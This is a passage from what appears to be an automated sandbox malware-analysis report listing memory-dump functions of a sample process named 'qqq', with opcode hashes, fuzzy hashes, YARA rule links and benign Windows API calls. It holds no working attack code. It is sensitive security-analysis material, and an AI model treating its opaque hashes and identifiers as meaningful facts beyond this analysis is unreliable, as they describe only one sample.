                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 24f4896e0bf21a3fbde1fde306314725ba3c150d7ccc9124511779b96def77ca
                                                                                                                        • Instruction ID: 775791f8af4e87b6ea0fa33af5741162a0ab9c9ece371edc26759ae303ef0d44
                                                                                                                        • Opcode Fuzzy Hash: 24f4896e0bf21a3fbde1fde306314725ba3c150d7ccc9124511779b96def77ca
                                                                                                                        • Instruction Fuzzy Hash: 64012970F04208DFFB04EFAAD1483ADBAF2EB45305F5184A9D50597244EB74AE86DB81
                                                                                                                        Function 07CF1717 Relevance: .0, Instructions: 38COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3721988924.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_7cf0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 87335f3c63742a0ceffdf7118f6fa00ab5d571ce62f82ae0775549577c071ee3
                                                                                                                        • Instruction ID: c0b08f07bf016590076dfa3fb8e19b616446213b010834ebccd727640b67f928
                                                                                                                        • Opcode Fuzzy Hash: 87335f3c63742a0ceffdf7118f6fa00ab5d571ce62f82ae0775549577c071ee3
                                                                                                                        • Instruction Fuzzy Hash: CDF02471B1415ACBD758852AA880766B3EBE7C5722F2CC133D60EC735CCF788D828641
                                                                                                                        Function 07CF1C38 Relevance: .0, Instructions: 27COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3721988924.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_7cf0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 7c041ce5f216e31bdfdf0dd629c53a37a845fd04df4ae282b9504b9238ce245c
                                                                                                                        • Instruction ID: 9673d4308adf7329a90de8ac82ade74ffb350489079ca84938dee8539ab4dbc3
                                                                                                                        • Opcode Fuzzy Hash: 7c041ce5f216e31bdfdf0dd629c53a37a845fd04df4ae282b9504b9238ce245c
                                                                                                                        • Instruction Fuzzy Hash: 9EF0A0B1A0424EDFEB48CF67D940568BBF6AB85201F08D0A5C209C7220EA709F49CB41
                                                                                                                        Function 04F97461 Relevance: .0, Instructions: 26COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: a37f1628d60c36f84b16e783a5758392c0257890c380315abdb6e646bc7c8527
                                                                                                                        • Instruction ID: 7c18960168d9fbe513bba626d12fe1e83707632f74435e26415f8420052946e5
                                                                                                                        • Opcode Fuzzy Hash: a37f1628d60c36f84b16e783a5758392c0257890c380315abdb6e646bc7c8527
                                                                                                                        • Instruction Fuzzy Hash: 1FE04F4369D2E18CEF13DA7A046D1A2AFE5C55353238905DFC0C14A867D8856A0A9216
                                                                                                                        Function 04F9A1A4 Relevance: .0, Instructions: 24COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e43c7e20785592349652ea091b4cc23293be67d5288bfe82fc17fcc6745ed6f4
                                                                                                                        • Instruction ID: 8db978067d8c00aaf50dfd0ac36c292a27e587b230fd3f6aa38f3e9e5882af3f
                                                                                                                        • Opcode Fuzzy Hash: e43c7e20785592349652ea091b4cc23293be67d5288bfe82fc17fcc6745ed6f4
                                                                                                                        • Instruction Fuzzy Hash: 34E06D7A7115059BEF08AB64D8449B97BF2EF89211B008025E902CB361EA359C02AB01
                                                                                                                        Function 07CF17C8 Relevance: .0, Instructions: 22COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3721988924.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_7cf0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 2abf6bcae0635e196dbb2682c7b4f79c19c6feba089b72cfc078178932b80b36
                                                                                                                        • Instruction ID: 5a3f66e7024092279892579fe4a3010a7641bbfc1ccdafb19c5508a4c543af32
                                                                                                                        • Opcode Fuzzy Hash: 2abf6bcae0635e196dbb2682c7b4f79c19c6feba089b72cfc078178932b80b36
                                                                                                                        • Instruction Fuzzy Hash: BAE04FB0D0411ADF8B94DFB995461EDBFF0FB05201B2046AAC80AE7651E7714A528FC1
                                                                                                                        Function 07CF0AA8 Relevance: .0, Instructions: 18COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3721988924.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_7cf0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
                                                                                                                        • Instruction ID: bc3223c731518b5bd0d53421730e0999a7a2d9000a1baf03628600de62e6b40e
                                                                                                                        • Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
                                                                                                                        • Instruction Fuzzy Hash: 74C012B324E1282AA269104E7C81EA3AB8CC2C2AB8A260137FA5C9320198829C8001B4
                                                                                                                        Function 04F940BE Relevance: .0, Instructions: 17COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: df79aff797f42f5ea993929259df003e3014940520e56d51c6fa41486dd3c1a5
                                                                                                                        • Instruction ID: de39a63080a688977d61e07448e333fb1b3d9d8b634249ca49ad5fa1499ee437
                                                                                                                        • Opcode Fuzzy Hash: df79aff797f42f5ea993929259df003e3014940520e56d51c6fa41486dd3c1a5
                                                                                                                        • Instruction Fuzzy Hash: 1ED05E34B18124CBDB24AB64D8483AA36B9EF8A302F108125C85AD6658C67A5C03DB52
                                                                                                                        Function 07CF10C5 Relevance: .0, Instructions: 16COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3721988924.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_7cf0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 7a55e06d712ae97f12578f8f7a2c4cab8c3c1c5ad3ac3da5888a8da96904ed99
                                                                                                                        • Instruction ID: a5d2a580209ce0d1288eeb8eb9ec9879f42d594e120ea9e8ea5d3539edb40555
                                                                                                                        • Opcode Fuzzy Hash: 7a55e06d712ae97f12578f8f7a2c4cab8c3c1c5ad3ac3da5888a8da96904ed99
                                                                                                                        • Instruction Fuzzy Hash: D8D0673BB001089FCF049F98E8409DDB7B6FB98221B44915AE915E3264CA319962DB64
                                                                                                                        Function 04F97880 Relevance: .0, Instructions: 16COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 38a9f74d5046266d88ef99df3366f2fca240da8dc95d92f5acdae28f37218f22
                                                                                                                        • Instruction ID: b6d74801eebc8c02f6ad2e72593cd1bb80d65d3dc7c5d6241b74a7bb716609ef
                                                                                                                        • Opcode Fuzzy Hash: 38a9f74d5046266d88ef99df3366f2fca240da8dc95d92f5acdae28f37218f22
                                                                                                                        • Instruction Fuzzy Hash: A9C012760452845FC71207B4A94D4C57B796E9221130C4597E885C5462C3245514CB61
                                                                                                                        Function 04F91DAB Relevance: .0, Instructions: 15COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 40a4e07264bea64cdee3f53b01cba755e5015a6fc285db5b293357e4d9b0434b
                                                                                                                        • Instruction ID: 69ee3aea4cacd47d2abc5e94a64e18d0d67f8aee436d2bc345883c052fdd1a69
                                                                                                                        • Opcode Fuzzy Hash: 40a4e07264bea64cdee3f53b01cba755e5015a6fc285db5b293357e4d9b0434b
                                                                                                                        • Instruction Fuzzy Hash: 46E04634A00282DBEF089B20F088B6837B3FB40306F408AA0D1110B258DB786C8ACF41
                                                                                                                        Function 04F90A42 Relevance: .0, Instructions: 14COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 5081459f2282ee7841b5977bb19c726b2546065d99cf0f88277e72ee3638771e
                                                                                                                        • Instruction ID: 096739d4e62f2bcd9876590dd5951d1bf4149de4d9dcebc7f5460adc9798fe00
                                                                                                                        • Opcode Fuzzy Hash: 5081459f2282ee7841b5977bb19c726b2546065d99cf0f88277e72ee3638771e
                                                                                                                        • Instruction Fuzzy Hash: 84C08C3200C3C64FCB0323B078290E0BFE85A0302030D88C3E0888A043862A29018296
                                                                                                                        Function 04F97420 Relevance: .0, Instructions: 13COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 350cc0c6ac439f70564aae62859b12fca816e5c53a756f3d542de04bad2af497
                                                                                                                        • Instruction ID: 0109a497c278382897524a3d06a67423e6f0a652b99ffe27fc1a684d79a885e4
                                                                                                                        • Opcode Fuzzy Hash: 350cc0c6ac439f70564aae62859b12fca816e5c53a756f3d542de04bad2af497
                                                                                                                        • Instruction Fuzzy Hash: 1AC04C2155A3A0CAEE1726642D110917FF0594215438959FBD581450634129598BCA97
                                                                                                                        Function 04F94304 Relevance: .0, Instructions: 10COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 337edd9d032688860191032948b85d85b09dfbecf65eb617e8c9ac16ef98ef09
                                                                                                                        • Instruction ID: e3383e37797e4af50dd547fab24c2ca4eaee4a219d5b2cfec460299a176b3137
                                                                                                                        • Opcode Fuzzy Hash: 337edd9d032688860191032948b85d85b09dfbecf65eb617e8c9ac16ef98ef09
                                                                                                                        • Instruction Fuzzy Hash: 65D012741093118FD3115B20C4646873BA0FF55351B028155C4424B565D578BD079612
                                                                                                                        Function 04F99217 Relevance: .0, Instructions: 9COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 51ec3713f677f87e23e4ec88bfc702c474aa8b54895ff7095748c039bd230a10
                                                                                                                        • Instruction ID: 00360417e588553a58ce0e26aff79623cfc76f697f5755c2554234d746a1231c
                                                                                                                        • Opcode Fuzzy Hash: 51ec3713f677f87e23e4ec88bfc702c474aa8b54895ff7095748c039bd230a10
                                                                                                                        • Instruction Fuzzy Hash: 18C08C78712008FBEF08FBE0E904A7CBEB3EF85201F100528F402A2260CA391C00EF11
                                                                                                                        Function 07CF6111 Relevance: .0, Instructions: 8COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3721988924.0000000007CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CF0000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_7cf0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: cbc081b626897ce869f927c866162917c0e55b260ac381b2a9a22aff249f34f1
                                                                                                                        • Instruction ID: 8dce69040a463f49f5718500d9ea619ef50d688f7b4b292480a82d44e379e75f
                                                                                                                        • Opcode Fuzzy Hash: cbc081b626897ce869f927c866162917c0e55b260ac381b2a9a22aff249f34f1
                                                                                                                        • Instruction Fuzzy Hash: C6C0920508F7D29EC7532B314828091AF70ED932147DE46CFC0D18F053982D29CEC792
                                                                                                                        Function 04F94BE1 Relevance: .0, Instructions: 8COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: b6ba639dd55f119fc88da7c465ed1349f7fd9785a86553b9de5fc0eb8810da20
                                                                                                                        • Instruction ID: 264f71b77704518282946ac9d559ad3caf34a9b0e4ef35d194d1ccb0e7f3a31a
                                                                                                                        • Opcode Fuzzy Hash: b6ba639dd55f119fc88da7c465ed1349f7fd9785a86553b9de5fc0eb8810da20
                                                                                                                        • Instruction Fuzzy Hash: CAC08C34208210DFC312CB20C0506263BF6EB48202B10841DE48682A44C339EA82CF11
                                                                                                                        Function 04F9408B Relevance: .0, Instructions: 6COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: ae74d6ada9def5caeddd3921ba310334ed17dede9f6f96a34540c5832ef9caa4
                                                                                                                        • Instruction ID: 1cce6ae1f67e21de1553b07384abf69eda186611c670563249867156fced3ab3
                                                                                                                        • Opcode Fuzzy Hash: ae74d6ada9def5caeddd3921ba310334ed17dede9f6f96a34540c5832ef9caa4
                                                                                                                        • Instruction Fuzzy Hash: 5EB09238B10208CBDF005E00D848AAE3A76AFD8722F208011980657358C6769C52ABA2
                                                                                                                        Function 04F94BFE Relevance: .0, Instructions: 6COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1b012a538f755033feebb77bb3e8734c127ec79c0826387580bd0dcda568c83b
                                                                                                                        • Instruction ID: 691462223c71a5e4f9c762cd96b011e0f1a68e5d8d27aeac539944b7cd9756cb
                                                                                                                        • Opcode Fuzzy Hash: 1b012a538f755033feebb77bb3e8734c127ec79c0826387580bd0dcda568c83b
                                                                                                                        • Instruction Fuzzy Hash: F1C0483820A601CBD714DA60C09562A7762BB84246F608428C40206B88D73AA882CA80
                                                                                                                        Function 04F97890 Relevance: .0, Instructions: 5COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: d70566cf87139ec9b0f6b8572cdd6386ee61c850c27d23c52e9b59e925898df2
                                                                                                                        • Instruction ID: 06f634fba736fbc61fb6b6ac4afa14a4943d11378e792030c84c80f7e10fdb3c
                                                                                                                        • Opcode Fuzzy Hash: d70566cf87139ec9b0f6b8572cdd6386ee61c850c27d23c52e9b59e925898df2
                                                                                                                        • Instruction Fuzzy Hash: 0E90027104464D8B464437A57509695775CA5455167844051A50D815155A59A4204595
                                                                                                                        Function 04F9428A Relevance: .0, Instructions: 5COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: b55bc9f3742cd367d65a4e7c3bc403f25b1babb9f36d22ca8775a8a16b7051b9
                                                                                                                        • Instruction ID: 67fc99ddb1563c891c55faf0c27320e0ee93a050dd8b639ae1ea2d79dca438c3
                                                                                                                        • Opcode Fuzzy Hash: b55bc9f3742cd367d65a4e7c3bc403f25b1babb9f36d22ca8775a8a16b7051b9
                                                                                                                        • Instruction Fuzzy Hash: D5B01239305208CBDB10FB00D54465A77F2EF4C321F104118A80343348C634BC01EE02
                                                                                                                        Function 04F90A50 Relevance: .0, Instructions: 5COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e7ead40fbb23211f8f56b136d6c8e31cd6f38f03676860032bff0b3daf952b6c
                                                                                                                        • Instruction ID: 8b90425a384e33e9d9638d585d95e15f9454dbf179ae246808bda19d95ca42cb
                                                                                                                        • Opcode Fuzzy Hash: e7ead40fbb23211f8f56b136d6c8e31cd6f38f03676860032bff0b3daf952b6c
                                                                                                                        • Instruction Fuzzy Hash: D290023215464DCB454437D67409565B75C95446167888051A50D415065B6A64104595
                                                                                                                        Function 04F9C072 Relevance: .0, Instructions: 2COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f1ef7a10b64287e8754c1022c603eb7ff78042d40f742ffe7303e62e95d64d61
                                                                                                                        • Instruction ID: d4cc7c4298285fa62052b9864a023aa66eb5b36b356edc127944caa172601235
                                                                                                                        • Opcode Fuzzy Hash: f1ef7a10b64287e8754c1022c603eb7ff78042d40f742ffe7303e62e95d64d61
                                                                                                                        • Instruction Fuzzy Hash:

                                                                                                                        Non-executed Functions

                                                                                                                        Function 00789500 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON
                                                                                                                        Download Yara Rule
                                                                                                                        APIs
                                                                                                                        • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,007895CE,?,?,?,00000002,0078966E,00788593,007885DB,00000002,00000000), ref: 00789539
                                                                                                                        • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,007895CE,?,?,?,00000002,0078966E,00788593,007885DB,00000002), ref: 0078953F
                                                                                                                        • GetStdHandle.KERNEL32(000000F5,00789588,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,007895CE), ref: 00789554
                                                                                                                        • WriteFile.KERNEL32(00000000,000000F5,00789588,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,007895CE), ref: 0078955A
                                                                                                                        • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00789578
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3688805957.0000000000787000.00000040.00000001.01000000.0000000B.sdmp, Offset: 004C0000, based on PE: true
                                                                                                                        • Associated: 00000018.00000002.3688367288.00000000004C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688624417.00000000004F7000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.00000000004FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000531000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000533000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000539000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000549000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000054F000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.00000000005E0000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000616000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000625000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000632000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000063A000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000063F000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000065F000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000066B000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000675000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000067B000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000067E000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000684000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000765000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000768000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000077D000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000782000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000796000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4c0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID: FileHandleWrite$Message
                                                                                                                        • String ID: Error$Runtime error at 00000000
                                                                                                                        • API String ID: 1570097196-2970929446
                                                                                                                        • Opcode ID: 1522b6d5e2630cc73863f7b178ebf1f4c3e1d63d433ef33fcb91455d45db1586
                                                                                                                        • Instruction ID: feeb852c54f5147c583716e9f4efc00929f6d154e4a47351928b7bb750456a8e
                                                                                                                        • Opcode Fuzzy Hash: 1522b6d5e2630cc73863f7b178ebf1f4c3e1d63d433ef33fcb91455d45db1586
                                                                                                                        • Instruction Fuzzy Hash: 9FF096A17D4344BCE635B3A45D1EF692648A744B10F348615F320E40D2C7FC85C4C369
                                                                                                                        Function 00787838 Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON
                                                                                                                        Download Yara Rule
                                                                                                                        APIs
                                                                                                                        • RtlInitializeCriticalSection.NTDLL(007905C4), ref: 0078784E
                                                                                                                        • RtlEnterCriticalSection.NTDLL(007905C4), ref: 00787861
                                                                                                                        • LocalAlloc.KERNEL32(00000000,00000FF8,00000000,007878EE,?,?,007880D2), ref: 0078788B
                                                                                                                        • RtlLeaveCriticalSection.NTDLL(007905C4), ref: 007878E8
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3688805957.0000000000787000.00000040.00000001.01000000.0000000B.sdmp, Offset: 004C0000, based on PE: true
                                                                                                                        • Associated: 00000018.00000002.3688367288.00000000004C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688624417.00000000004F7000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.00000000004FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000531000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000533000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000539000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000549000.00000040.00000001.01000000.0000000B.sdmpDownload File
